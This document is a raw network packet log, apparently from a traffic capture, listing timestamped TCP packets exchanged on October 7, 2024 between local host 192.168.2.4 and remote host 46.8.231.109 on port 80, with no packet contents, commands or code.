Oct 7, 2024 03:03:11.171124935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171158075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171158075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171159029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171194077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171205044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171205044 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171247005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171282053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171302080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171302080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171317101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171346903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171370029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171370029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171400070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171413898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171454906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171458960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171509981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171555042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171555042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171564102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171601057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171637058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171653032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171653032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171670914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171722889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171726942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171726942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171773911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171809912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171828985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171828985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171847105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171883106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171897888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171897888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171916962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171951056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.171953917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171997070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.171997070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172005892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172039986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172072887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172089100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172089100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172126055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172157049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172161102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172195911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172199011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172214031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172233105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172282934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172282934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172285080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172319889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172349930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172373056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172373056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172404051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172435045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172455072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172489882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172499895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172499895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172545910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172593117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172594070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172597885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172636032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172657967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172691107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172727108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172744036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172744036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172755957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172799110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172799110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172807932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172842979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172893047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172893047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172894955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172929049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172960997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.172979116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.172979116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173016071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173017979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173051119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173084021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173100948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173100948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173116922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173152924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173167944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173167944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173183918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173229933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173229933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173238039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173274040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173310041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173317909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173317909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173357010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173367023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173399925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173438072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173449039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173449039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173468113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173502922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173521042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173521042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173557043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173562050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173593998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173628092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173643112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173643112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173662901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173701048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173717022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173717022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173733950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173767090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173784018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173784018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173820019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173854113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173881054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173881054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173887968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173907042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173921108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173935890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.173954010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.173990965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174001932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174001932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174025059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174060106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174071074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174071074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174108982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174145937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174151897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174165010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174180031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174225092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174225092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174225092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174257040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174273014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174289942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174324989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174335003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174335003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174354076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174388885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174401999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174401999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174422979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174438953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174454927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174469948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174491882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174525976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174545050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174545050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174561024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174582005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174592972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174621105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174628019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174666882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174681902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174681902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174704075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174737930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174753904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174753904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174773932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174812078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174823999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174823999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174848080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174885035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174901009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174901009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174920082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174952030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.174956083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.174992085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.175007105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.175007105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.175028086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.175079107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.175079107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212599993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212662935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212675095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212694883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212738037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212757111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212809086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212809086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212810040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212846041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212879896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212891102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212891102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212914944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.212935925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.212951899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.213001013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.213001013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.260867119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.260926962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.260958910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.260987043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261013985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261069059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261102915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261137009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261141062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261141062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261141062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261141062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261188030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261188030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261190891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261228085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261255980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261271000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261271000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261291027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261306047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261360884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261395931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261413097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261413097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261430979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261454105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261485100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261490107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261523008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261558056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261574030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261574030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261595964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261605024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261626959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261662960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261686087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261686087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261696100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261733055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261748075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261748075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261768103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261801004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261815071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261815071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261837006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261872053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261888027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261888027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261926889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.261945009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.261979103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262015104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262016058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262070894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262070894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262070894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262109041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262134075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262162924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262197971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262202024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262245893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262245893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262252092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262290955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262324095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262340069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262340069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262376070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262382984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262435913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262471914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262482882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262482882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262521982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262525082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262581110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262587070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262614012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262649059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262655973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262655973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262702942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262741089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262792110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262800932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262800932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262825966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262881041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262883902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262883902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.262937069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.262965918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263005018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263005018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263019085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263053894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263109922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263112068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263112068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263145924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263189077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263206005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263245106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263263941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263295889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.263314962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.263314962 CEST	49731	80	192.168.2.4	46.8.231.109
